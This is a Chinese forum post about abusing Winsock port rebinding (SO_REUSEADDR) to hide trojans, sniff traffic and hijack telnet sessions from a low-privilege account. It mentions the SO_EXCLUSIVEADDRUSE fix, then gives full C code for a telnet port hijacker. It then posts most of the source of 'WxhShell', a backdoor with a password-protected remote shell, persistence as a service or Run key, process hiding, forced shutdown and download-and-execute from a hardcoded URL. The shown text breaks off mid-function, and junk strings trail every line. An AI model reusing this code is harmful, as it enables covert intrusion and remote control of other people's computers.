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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $S"zxEJJ Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7;$L&X  
;DT"S{"7  
  saddr.sin_family = AF_INET; HbJadOK  
8yJk81 gY  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <uWJ>sg^ 6  
P~b%;*m}8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }[hDg6i  
Aw_R $  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 AR[M8RA  
Yc|-sEK/  
  这意味着什么?意味着可以进行如下的攻击: b_)QBE9  
{4V:[*3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (<5'ceF )X  
.PA ?N{z  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -Y!=Iw 4  
t&p:vXF2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 l1`c?Y  
JY;#]'T\;  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6832N3=  
Hsux>+Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %Pt[3>  
q(${jz4w  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 DI"dY ug#  
Bt`r6v;\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /M{)k_V  
E`sapk  
  #include ej??j<]  
  #include $yxIE}  
  #include CO6XIgTe  
  #include    4^jZv$l5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O7L6Htya  
  int main() ":ws~Zep  
  { *Kp ^al  
  WORD wVersionRequested; <T=o]M$  
  DWORD ret; Di5Op(S((  
  WSADATA wsaData; 37<GG)  
  BOOL val; 4=#QN  
  SOCKADDR_IN saddr; aV92.Z_Ku  
  SOCKADDR_IN scaddr; ]>]H:NEq  
  int err; 2Xk1A S  
  SOCKET s; [;kj,j  
  SOCKET sc; iR4,$Nn>  
  int caddsize; 8mQd*GGu1  
  HANDLE mt; mSvTnd8  
  DWORD tid;   EZu  
  wVersionRequested = MAKEWORD( 2, 2 ); mhHm#  
  err = WSAStartup( wVersionRequested, &wsaData ); ::Ve,-0  
  if ( err != 0 ) { dsft=t8s  
  printf("error!WSAStartup failed!\n"); _ jM6ej<  
  return -1; ~A{[=v  
  } *TMM:w|1  
  saddr.sin_family = AF_INET; `:^)"#z)  
   [$Xu  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T=)L5Vuq<  
W1M/Z[h6)5  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); KTS7)2ci  
  saddr.sin_port = htons(23); v |hKf6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =*O9)$b  
  { O'?lW~CD.>  
  printf("error!socket failed!\n"); j(2tbWg9-  
  return -1; oU{-B$w  
  } 8i+jFSZ$  
  val = TRUE; hF?\K^tF  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e1Z;\U$&.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ZB h@%A  
  { 'XjHB!!hU  
  printf("error!setsockopt failed!\n"); l>Oe ,`9O  
  return -1; PeR<FSF ,i  
  } MJk:s[o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^<H#dkECG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8B(Q7Qj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m$e@<~To  
boHm1hPKS  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8C4@V[sm`  
  { OTr!?xi  
  ret=GetLastError(); 085 ^!AZ  
  printf("error!bind failed!\n"); <H(AS'  
  return -1; # v/aI*Rl  
  } P24    
  listen(s,2); [+5SEr}  
  while(1) k@X As  
  { [O =)FiY-  
  caddsize = sizeof(scaddr); "q#g/T  
  //接受连接请求 yyYbB]D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vzQmijr-  
  if(sc!=INVALID_SOCKET) Ffqn|} gb  
  { vskM;  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?F:C!_  
  if(mt==NULL) 6(Rq R  
  { )}Mt'd  
  printf("Thread Creat Failed!\n"); gj(l&F *@  
  break; 3_['[}  
  } UHm+5%ZC  
  } L&F\"q9q71  
  CloseHandle(mt); wz2)seZY  
  } Lzb [%?  
  closesocket(s); So0,)  
  WSACleanup(); W!Os ci  
  return 0; oI"Fpo  
  }   u K&_IE}  
  DWORD WINAPI ClientThread(LPVOID lpParam) t`/RcAwA  
  { 5L'@WB|{4u  
  SOCKET ss = (SOCKET)lpParam; fxCPGj  
  SOCKET sc; K LM^O$=  
  unsigned char buf[4096]; I2!&="7@  
  SOCKADDR_IN saddr; U8@*I>vA  
  long num; tw^.(m5d  
  DWORD val; gl4 f9Ff  
  DWORD ret; )e$-B]>7z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `rFGSq$9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bqLYF[#T  
  saddr.sin_family = AF_INET; t7& GCZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); _ -FQ78C  
  saddr.sin_port = htons(23); D}C*8s bC}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C'#)bX{  
  { 6j.(l4}  
  printf("error!socket failed!\n"); o]k]pNO  
  return -1; 2H0q\zZ  
  } F;l<>|vG  
  val = 100; 9n2%7dLQ*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k{$"-3ed  
  { Z)>a6s$ih<  
  ret = GetLastError(); T%xL=STJNy  
  return -1; # SOj4W  
  } >@\?\!Go  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) e(5Px!B  
  { ^ C#bW <T  
  ret = GetLastError(); dtXJ<1:  
  return -1; dEl3?~  
  } ' =s*DL`0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |Szr=[  
  { Q#AHEm{9;s  
  printf("error!socket connect failed!\n"); s~'C'B?  
  closesocket(sc);  l3 Bc g  
  closesocket(ss); z+`)|c4-  
  return -1; [\y>&"uk  
  } >TVd*S  
  while(1) B~?Q. <M  
  { U0=zuRr n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 CF 0IP  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /-9+(  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'wHkE/ 83  
  num = recv(ss,buf,4096,0); {}2p1-(  
  if(num>0) JH,fg K+[  
  send(sc,buf,num,0); m|?J^_  
  else if(num==0) ?d'9TOlD  
  break; x" =q+sA  
  num = recv(sc,buf,4096,0); X Ow^"=Oa[  
  if(num>0) MPw7!G(qj  
  send(ss,buf,num,0); L{ ^@O0S  
  else if(num==0) }Bg<Fm  
  break; x@l~*6!K  
  } |Y8o+O_`  
  closesocket(ss); M/I d\~  
  closesocket(sc); |I<-x)joIK  
  return 0 ; Rs`Y'_B  
  } [~0q )  
f*@:{2I.v  
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========================================================== <W{0@?y  
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下边附上一个代码,,WXhSHELL q.Mck9R7  
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========================================================== VZ!$'??  
u$^` hzfI  
#include "stdafx.h" jiD8|%}v  
,3[<C)'[  
#include <stdio.h> 2fA9L _:0  
#include <string.h> y6yseR!  
#include <windows.h> XsMphZnK  
#include <winsock2.h> Lu5.$b  
#include <winsvc.h> )xs,  
#include <urlmon.h> j ZafwBi  
M- A}(r +J  
#pragma comment (lib, "Ws2_32.lib") 55en D  
#pragma comment (lib, "urlmon.lib") !~kzxY  
$S("- 3  
#define MAX_USER   100 // 最大客户端连接数 f@g  
#define BUF_SOCK   200 // sock buffer n#,l&Bx  
#define KEY_BUFF   255 // 输入 buffer VAzJclB  
u{ d`  
#define REBOOT     0   // 重启 (pg9cM]NA  
#define SHUTDOWN   1   // 关机 =l9#/G#R  
@=1``z#  
#define DEF_PORT   5000 // 监听端口 !Z)^c&  
b DvbM  
#define REG_LEN     16   // 注册表键长度 (ytkq(  
#define SVC_LEN     80   // NT服务名长度 I(S6DkU  
e4LNnJU\|  
// 从dll定义API QQcj"s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (HxF\#r?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m^+ ~pC5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YtQWArX,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N$b;8F  
k,(_R=  
// wxhshell配置信息 2"^9t1C2  
struct WSCFG { xo+z[OIlF  
  int ws_port;         // 监听端口 1MSu ]) W  
  char ws_passstr[REG_LEN]; // 口令 G-<~I#k  
  int ws_autoins;       // 安装标记, 1=yes 0=no aC` c^'5  
  char ws_regname[REG_LEN]; // 注册表键名 boon =;{p  
  char ws_svcname[REG_LEN]; // 服务名 PTqS L]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GC3L2C0)k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8B9zo&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #{1fb%L{i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .9 QQ]fLs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )UUe5H6Hd0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r/f;\w7  
*RM'0[1F4  
}; Uc2#so$9  
iHB)wC`u  
// default Wxhshell configuration DVH><3FF  
struct WSCFG wscfg={DEF_PORT, z w9r0bG  
    "xuhuanlingzhe", m8'1@1d|  
    1, JH#?}L/0Fe  
    "Wxhshell", !}7m^  
    "Wxhshell", a QFHB!  
            "WxhShell Service",  p-kqX  
    "Wrsky Windows CmdShell Service", j&5Xjl>4  
    "Please Input Your Password: ", :Yqa[._AF  
  1, //|Vj | =  
  "http://www.wrsky.com/wxhshell.exe", h='=uj8o5  
  "Wxhshell.exe" ] ={Hq9d@  
    }; cGKk2'v?  
4N&}hOM'S  
// 消息定义模块 2D"/k'iA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O/nS,Ux  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nt6"}vO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @d|9(,Q  
char *msg_ws_ext="\n\rExit."; m6D4J=59  
char *msg_ws_end="\n\rQuit."; x ,W+:l9~s  
char *msg_ws_boot="\n\rReboot..."; sn%fE  
char *msg_ws_poff="\n\rShutdown..."; kF .b)  
char *msg_ws_down="\n\rSave to "; TH &B9  
g~b'}^J  
char *msg_ws_err="\n\rErr!"; 6np wu5!  
char *msg_ws_ok="\n\rOK!"; a$m?if=  
79_MP  
char ExeFile[MAX_PATH]; Viw3 /K  
int nUser = 0; Z%R^;8!~  
HANDLE handles[MAX_USER]; Dl{Pd`D  
int OsIsNt; XLT<,B}e  
W!*vO>^1W  
SERVICE_STATUS       serviceStatus; mr? ii  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \mloR '  
'>BHwc  
// 函数声明 r^)<Jy0|r  
int Install(void); =B1!em|  
int Uninstall(void); clNP9{  
int DownloadFile(char *sURL, SOCKET wsh); jC%I]#!n  
int Boot(int flag); 1YxI q565  
void HideProc(void); 3$54*J  
int GetOsVer(void); e<K=Q$U.  
int Wxhshell(SOCKET wsl); }{J8U2])k  
void TalkWithClient(void *cs); _NFJm(X.  
int CmdShell(SOCKET sock); |1o]d$3m  
int StartFromService(void); 8z"Yo7no  
int StartWxhshell(LPSTR lpCmdLine); sTDBK!9I  
FceT'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6%-2G@6d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,")7uMZaF\  
MZ'HMYed   
// 数据结构和表定义 C'ZU .Y  
SERVICE_TABLE_ENTRY DispatchTable[] = [aC(Ga}  
{ }- Sr@bE  
{wscfg.ws_svcname, NTServiceMain}, {;U:0BPI3  
{NULL, NULL} 3B+Rx;>h  
}; iKwVYL  
\=)h6AG  
// 自我安装 r+Y1m\  
int Install(void) jk@]d5  
{ d<o  
  char svExeFile[MAX_PATH]; P;34Rd  
  HKEY key; YQ/ *|  
  strcpy(svExeFile,ExeFile); K4"as9oFP  
}O/Nn0,  
// 如果是win9x系统,修改注册表设为自启动 E2MpMR  
if(!OsIsNt) { aH_&=/-Tz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X9R-GT  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  ~$B ,K]  
  RegCloseKey(key); eR CGr?e4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P\JpE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j*"s~8u4  
  RegCloseKey(key); |@RO&F  
  return 0; 2k_Bo~.  
    } N@}U;x}  
  } >:=TS"}yS}  
} H\T h4teE  
else { `8I&(k<wLe  
4.8,&{w<m  
// 如果是NT以上系统,安装为系统服务 0^=S:~G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #qWEyb2UZ  
if (schSCManager!=0)  DWI!\lK  
{ n2E2V<#   
  SC_HANDLE schService = CreateService r"+ WUU  
  ( kcle|B  
  schSCManager, ;1KhUf;&F  
  wscfg.ws_svcname, t%)L8%Jr  
  wscfg.ws_svcdisp, vzL>ZBe Z  
  SERVICE_ALL_ACCESS, ]#nAld1cmy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <FP -]R)  
  SERVICE_AUTO_START, 39"'Fz?1  
  SERVICE_ERROR_NORMAL, f] Vz!hM~  
  svExeFile, 0*q:p`OLw*  
  NULL, eMs`t)rQ  
  NULL, B?jF1F!9  
  NULL, `fs[C  
  NULL, k(MQ:9'|  
  NULL &>-Cz%IV  
  ); aUnm9u r  
  if (schService!=0) x\*5A,w{c]  
  { O1 z>A  
  CloseServiceHandle(schService); 9} vWTt0  
  CloseServiceHandle(schSCManager); q9OIw1xQr*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |^ qW   
  strcat(svExeFile,wscfg.ws_svcname); , Le_PJY)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { n}l Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); er53?z7zP.  
  RegCloseKey(key); zVIzrz0  
  return 0; Z5\6ca  
    } <C&UD j  
  } nJ,56}  
  CloseServiceHandle(schSCManager); f:TW<  
} v#~,)-D&  
} |A2.W8`o  
vjHbg#0%  
return 1; _7Z$"  
} t[<=QK  
L8V'mUyD  
// 自我卸载 CTwP{[%Pk  
int Uninstall(void) vOqT Ld  
{ j1BYSfX'  
  HKEY key; /:S.(" Unv  
eA!aUu  
if(!OsIsNt) { H:|yu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /( q*  
  RegDeleteValue(key,wscfg.ws_regname); 2]@U$E='s  
  RegCloseKey(key); <Sz9: hg-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ss8`;>  
  RegDeleteValue(key,wscfg.ws_regname); 4EOu)#  
  RegCloseKey(key); k2xjcrg  
  return 0; 69_c,(M0  
  } `q F:rQ  
} *@O;IiSE  
} 9qw~]W~Nm  
else { $lO\eQGxB  
=%a.C(0&G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); }%VHBkuc  
if (schSCManager!=0) 1Ao"DxZHy7  
{ 9<R:)Df  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); o:?IT/>  
  if (schService!=0) C}M0KDF  
  { hVd63_OO  
  if(DeleteService(schService)!=0) { giI9-C  
  CloseServiceHandle(schService); &=f%(,+  
  CloseServiceHandle(schSCManager); Ar|_UV>Zf  
  return 0; Wjj'yqBO^  
  } }b1P!xb!A  
  CloseServiceHandle(schService); *QrTZ$\C  
  } [ P 8e=;  
  CloseServiceHandle(schSCManager); Sna7r~ j  
} 2^|*M@3r  
} g >X!Q  
F.JE$)B2EX  
return 1; U7{, *  
} M,l Ib9  
NWTsL OIm  
// 从指定url下载文件 xEbcF+@  
int DownloadFile(char *sURL, SOCKET wsh) wt-)5f'{  
{ 0n5N-b?G-@  
  HRESULT hr; J&lQ,T!?B  
char seps[]= "/"; T'w=v-(J  
char *token; y M>c**9  
char *file; r| YuHm  
char myURL[MAX_PATH]; Zu5`-[mw  
char myFILE[MAX_PATH]; Lw3Z^G  
`>K;S!z  
strcpy(myURL,sURL); T;I a;<mfE  
  token=strtok(myURL,seps); P}cGWfj  
  while(token!=NULL) d~qDQ6!  
  { [~$9n_O94  
    file=token; ETYw  
  token=strtok(NULL,seps); O%rjY  
  } *`|F?wF  
XWK A0  
GetCurrentDirectory(MAX_PATH,myFILE); v\Q${6kEtx  
strcat(myFILE, "\\"); (d@lG*K  
strcat(myFILE, file); 1;SWfKU?.  
  send(wsh,myFILE,strlen(myFILE),0); c\n\gQ:LQ  
send(wsh,"...",3,0); S_C+1e  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); < =sO@0(<  
  if(hr==S_OK) d'PjO-"g  
return 0; q4Q1Ib-<2  
else ^G=s<pp  
return 1; $=t&NM  
~Q5L)}8N  
} ao Y "uT+  
 $ l Y  
// 系统电源模块 Fz-Bd*uS  
int Boot(int flag) o ;.j_  
{ -$t#AYKz  
  HANDLE hToken; X5=Dc+  
  TOKEN_PRIVILEGES tkp; ]5B5J  
Qb/qUUQO;0  
  if(OsIsNt) { c}lUP(Ss  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F?TAyD*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); i{xgygp6f  
    tkp.PrivilegeCount = 1; k/cQJz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DjtUX>e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1Qv5m^>vj  
if(flag==REBOOT) { ]r{y+g|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Q R;Xj3]v  
  return 0; lkOugjI  
} `9%@{Ryo  
else { Kh}#At^C8e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5^*I]5t8  
  return 0; c:M~!CXO  
} L3,p8-d9Z  
  } Beq zw0  
  else { Z_Hc":4i  
if(flag==REBOOT) { Y0 Ta&TYZ0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *e!0ZB3J  
  return 0; ^ola5wD  
} P;{f+I|`  
else { )mS Aog<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gm\P`~+o  
  return 0; >`SIB; &>j  
} "I}3*s9Q-  
} 44b;]htv  
Z-.`JkKd8  
return 1; m o nqaSF  
} 8 Ys DE_  
ESft:3xyw  
// win9x进程隐藏模块 *{/BPc0*  
void HideProc(void) txw:m*(%  
{ 4DaLmQ2O  
9])dLL0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); V)=!pT  
  if ( hKernel != NULL ) *xI0hFJIM  
  { GMyzQ]@}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n3 -5`Jti  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p<: bP w  
    FreeLibrary(hKernel); QJ\ o"c  
  } mbK$_HvU  
k|'{$/ n  
return; ~*@ UQ9*p#  
} >/9f>d?w^  
!8(: G6Ne  
// 获取操作系统版本 DKp+ nq$  
int GetOsVer(void) >hQeu1 ~W  
{ S=@.<gS  
  OSVERSIONINFO winfo; 0[/>> !ws  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y/?V%X  
  GetVersionEx(&winfo); Bq3"l%hI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jhOQ)QE|  
  return 1; 5ro^<P0f**  
  else | U )  
  return 0; 3A!`U6C(  
} YzNSZJPD  
Btp 9v<"  
// 客户端句柄模块 JvX]^t/}  
int Wxhshell(SOCKET wsl) .zZee,kM  
{ 9`4M o+  
  SOCKET wsh; U@T"teGBA  
  struct sockaddr_in client; i=jwk_y  
  DWORD myID; | vL0}e  
jgNdcP  
  while(nUser<MAX_USER) 8lk@ev=O&  
{ uxLT*,  
  int nSize=sizeof(client); #eadkj #;  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ""q76cx  
  if(wsh==INVALID_SOCKET) return 1; <[Oe.0SGu  
ia6%>^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P|*c7+q  
if(handles[nUser]==0) C@1B?OfJ  
  closesocket(wsh); ]-]K4*{   
else f9ux+XQk9  
  nUser++; k+b!Lw!L  
  } jwhc;y  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dxfF.\BFDn  
/vO8s??  
  return 0; 8T-/G9u  
} cuzU*QW"g  
rO4R6A  
// 关闭 socket [@ >}  
void CloseIt(SOCKET wsh) `Y]t*` e|  
{ $FXlH;_7  
closesocket(wsh); .Nt;J,U  
nUser--; DXA<m2&64N  
ExitThread(0); D y+)s-8  
} n<q1itjD  
d^h`gu~3  
// 客户端请求句柄 NhJ]X cfP8  
void TalkWithClient(void *cs) GYH{_Fq  
{ +)$oy]  
rZ`+g7&^Fh  
  SOCKET wsh=(SOCKET)cs; ,Y9bXC8+dU  
  char pwd[SVC_LEN]; ~P!\;S  
  char cmd[KEY_BUFF]; w]1hoYuV  
char chr[1]; o rBB5JJ  
int i,j; [QUaC3l)  
k6eh$*!  
  while (nUser < MAX_USER) { r c++c,=  
5?l8;xe`{f  
if(wscfg.ws_passstr) { x Zp`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gi {rqM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k4T`{s}e  
  //ZeroMemory(pwd,KEY_BUFF); HE!"3S2S&+  
      i=0; 0MpZdJ  
  while(i<SVC_LEN) { =)b!M^=X-a  
@~7y\G  
  // 设置超时 =1#obB  
  fd_set FdRead; m4\e `nl  
  struct timeval TimeOut; D *=.;Rq  
  FD_ZERO(&FdRead); yK+1C68A  
  FD_SET(wsh,&FdRead); eYtP396C|  
  TimeOut.tv_sec=8; <cm(QNdcC  
  TimeOut.tv_usec=0;  GY`mF1b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1FA:"0lO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KpX1GrIn3  
s#cb wDT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ==#mlpi`S[  
  pwd=chr[0]; u~c75Mk_v  
  if(chr[0]==0xd || chr[0]==0xa) { Q Uy7Q$W  
  pwd=0; i8w/a  
  break; ~cv322N   
  } L`3;9rO  
  i++; !(gMr1}w  
    } R1 C}S  
(jmF7XfU  
  // 如果是非法用户,关闭 socket >;Ag7Ex  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \^oI3K0`  
} <#nt?Xn  
s,CN<`/>x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x`:c0y9uG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PQj'D <G  
XgI;2Be+&a  
while(1) { 0ZM#..3sI  
!P8Y(i  
  ZeroMemory(cmd,KEY_BUFF); "%I<yUP]U  
]A&pX AM  
      // 自动支持客户端 telnet标准   k'8tqIUN]  
  j=0; +-r ~-bs  
  while(j<KEY_BUFF) { ctOBV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F,8?du]  
  cmd[j]=chr[0]; rSa=NpFxLu  
  if(chr[0]==0xa || chr[0]==0xd) { FW"n+7T  
  cmd[j]=0; Nn#;Kjul.  
  break; <EKTFHJ!  
  } U3**x5F_  
  j++; v? Zo5uVoq  
    } DuQW?9^232  
{h*)|J  
  // 下载文件 -{XDQ{z<%  
  if(strstr(cmd,"http://")) { ;,lFocGv  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y{d-k1?s5  
  if(DownloadFile(cmd,wsh)) J ?0P{{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tdsfCvF= a  
  else ?zuKVi? I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sTS/ ]"l  
  } D_q"|D$SB  
  else { }Y"vUl_I2  
G\z5Ue*  
    switch(cmd[0]) { 8kLHQ0pmu  
  QXu[<V  
  // 帮助 V]Rt[l]  
  case '?': { |b4f3n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Skg}/Ek  
    break; +!Q*ie+q  
  } _vJ(F  
  // 安装 <2af&-EG s  
  case 'i': { 7NvnCs  
    if(Install()) 3a?|}zr4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); od)ssL&E~  
    else []jbzVwS2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F'-,Ksn  
    break; qizQt]l  
    } Mt4*`CxtH;  
  // 卸载 k:F{U^!p|  
  case 'r': { [sNvCE$\]  
    if(Uninstall()) @#=yC.s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NTo[di\_  
    else ;i?rd f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I~GHx5Dk  
    break; l(9AwVoAR|  
    } ]D&U} n  
  // 显示 wxhshell 所在路径 Dz&,g+>$J  
  case 'p': { "TI>_~  
    char svExeFile[MAX_PATH]; %'uei4   
    strcpy(svExeFile,"\n\r"); /|8rVYSs  
      strcat(svExeFile,ExeFile); IczMf%  
        send(wsh,svExeFile,strlen(svExeFile),0); xO^lE@a o  
    break; T/FZn{I  
    } iR"6VO  
  // 重启 ;X;(7  
  case 'b': { @\r2%M-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~.>8ww  
    if(Boot(REBOOT)) 9k~%HN-[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w^9< I]  
    else { nYR#Q|  
    closesocket(wsh); G8zbb  
    ExitThread(0); 7p- RPC  
    } u#y#(1 =  
    break; ,D'm#Fti  
    } .D;6 r4S  
  // 关机 9}_'  
  case 'd': { i;atYltEJ2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &e78xtA{  
    if(Boot(SHUTDOWN)) X~cdM1z?  
